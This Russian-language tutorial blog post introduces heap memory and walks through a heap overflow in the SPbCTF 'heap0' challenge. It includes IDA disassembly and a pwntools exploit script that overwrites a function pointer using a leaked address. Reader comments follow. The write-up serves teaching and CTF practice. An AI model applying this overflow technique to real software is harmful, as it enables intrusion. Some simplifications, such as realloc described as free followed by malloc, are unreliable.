В реалиях нашего мира, программисты пользуются ООП и предпочитают динамическую память, а не статическую. В нашей жизни, вне CTF, все работает именно в куче, потому что это удобно и практично. Речь пойдет о динамической памяти - куча (heap). Если взглянуть на статистику cvedetails, то можно увидеть, что большинство критических уязвимостей связаны именно с динамической памятью.

В цикле статей будет рассказано об устройстве кучи, атаках на них и все в духе бинарной эксплуатации.

Дисклеймер: Все данные, предоставленные в данной статье, взяты из открытых источников, не призывают к действию и являются только лишь данными для ознакомления, и изучения механизмов используемых технологий.

Вот есть стек, куда попадают локальные перменные или аргументы функции, есть секция данных для глобальных перменных. Что попадает в кучу? Какие данные туда попадают? Примерно на такие примитивные вопросы и будем рассматривать в первой части.

Создание и особенности кучи

Создать кучу можно используя оператор new или функцию malloc()

ptr = malloc(100); // выделить 100 байт 
free(ptr); // очистить кучу

Есть еще realloc, которая объявляет новый размер. То есть, сначала память очищается free(), а потом аллоцирутеся malloc().

Например, выделили 10 байт и создалось место, называемое чанком (chunk), ptr1 = malloc(10)

 ------
|      |
|  10  |
|      |
 ------

Выделили еще 20 байт, ptr2 = malloc(20)

 ------
|      |
|  10  |
|      |
 ------
 ------
|      |
|  20  |
|      |
 ------

Каждый вызов malloc, выделяет новый чанк в этой области памяти. Например, освободим первый чанк free(ptr)

 ------
|      |
|  fr  |
|  ee  |
 ------
 ------
|      |
|  20  |
|      |
 ------

Теперь создадим новый чанк ptr3 = malloc(10) и произойдет заполнение удаленного чанка

 ------
|      |
|  10  |
|      |
 ------
 ------
|      |
|  20  |
|      |
 ------

Куча умеет создавать новые кусочки, используя старые, которые уже были освобождены.

Для чего она вообще нужна?

Куча нужна для динамического выделения памяти, когда заранее неизвестен размер данных.

  1. Для строчек. Если заранее не знаем, сколько нужно читать данных с файла char *content = malloc(file_size).

  2. Для массивов, если неизвестно сколько данных надо обработать заранее int *array = realloc(arr, n*sizeof(int))

  3. Для структур. Для примера программирования структур как стек, список и т.д.

list *head = malloc(sizeof(list));
head->next = malloc(sizeof(list))
  1. В ООП. Все объекты в ООП и что может создавать новые экземпляры на куче

Object * obj = new Object(123);

Переполнение кучи

Для переполнения, следует знать от устройства кучи всего ничего. Все созданные чанки создаются друг за другом и они связаны. Об самой структуре чанка поговорим в следующих частях. Сейчас необходимо понять, что куча представляет из себя цепочку чанков

Таким образом, если переполнить первый чанк, то можно попасть в пространство второго, потом третьего и т.д. Получается не все так и сложно. Эта уязвимость сравнима с обычным переполнением буффера. Попробую продемонстрировать это на примере CTF-таска.

Практика

Для демонстрации переполнения кучи, взял таск с площадки SPbCTF, под названием heap0. Открывать J0llyTr0LLz нет смысла, поэтому сразу переходим к реверсу.

Реверсить буду как обычно в IDA. В функции main()

Происходит следующее:

  1. Выделяется первый чанк размером 0x40 и адрес присваивается переменной var10

mov     edi, 40h ; '@'  ; size
call    _malloc
mov     [rbp+var_10], rax
  1. Выделяется второй чанк размером 0x8 и туда помещается адрес функции nowinner()

  2. Записываем данные в первый чанк

mov     rax, [rbp+var_10]
mov     rdi, rax
mov     eax, 0
call    _gets
  1. Вызов функции, который сохранен во втором чанке

mov     rax, [rbp+var_8]
mov     rdx, [rax]
mov     eax, 0
call    rdx

Запущю edb-debugger, для демонстрации чанков и переполнения.

Создаем первый чанк и адрес возвращается в регистр rax

Пока что, чанк выглядит вот так:

Вот так, после создания второго чанка:

Как можно заметить, туда добавился адрес функции nowinner().

Дойдем до ввода данных и запишем туда, для начала, 16 символов

Данные записались. Теперь попробуем переполнить и перезаписать адрес. Просто введу 81 байт данных и вот результат

Перезаписал адрес, который содержится во втором чанке и далее программа будет пробовать вызвать адрес 0x560acc210041

Программа нам выводит различные утечки данных, с помощью которых можно легко получить флаг

data is at 0x560accc6b2a0, fp is at 0x560accc6b2f0, main at 0x560acc2171bb

Сплойт будет выглядеть так:

from pwn import *

exe = context.binary = ELF('./heap0.elf')

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.EDB:
        return process(['edb','--run',exe.path] + argv, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

gdbscript = '''
tbreak main
continue
'''.format(**locals())

io = start()

io.recvuntil(b'main at 0x')
leak = io.recv(12)
leak = leak[:len(leak) - 2]
leak += "89".encode()
leak = int(leak,16)
log.info("0x{:x}".format(leak))

junk = b'A'*80
payload = junk + p64(leak)
io.sendline(payload)

io.interactive()

На этом первое знакомство с кучей закончилось. В последующих частях будем углубляться в понятие аллокаторов, чанков и разбираться с атаками.

Комментарии (2)


  1. 0Bannon
    02.11.2023 21:57

    Спасибо, интересно.

    В ф-ии start нежелательно делать дефолтным значение с мутабельным аргументом 'argv=[ ]'.

    Аргументы в ней инициализируются один раз при создании ф-ии, и в такой объект могут добавиться новые данные при вызове ф-ии еще раз.

    def f(a=[]):
    a.append(100)
    return a

    lst = f()
    print(f"lst: {lst}")

    lst2 = f()

    print(f"lst2: {lst2}")

    >>>

    lst: [100]

    lst2: [100, 100]


  1. firehacker
    02.11.2023 21:57

    В ООП. Все объекты в ООП и что может создавать новые экземпляры на куче

    Я бы не был так категоричен в высказываниях. new может быть перегружен. Под капотом может скрываться выделение памяти не из кучи, а из структуры типа arena.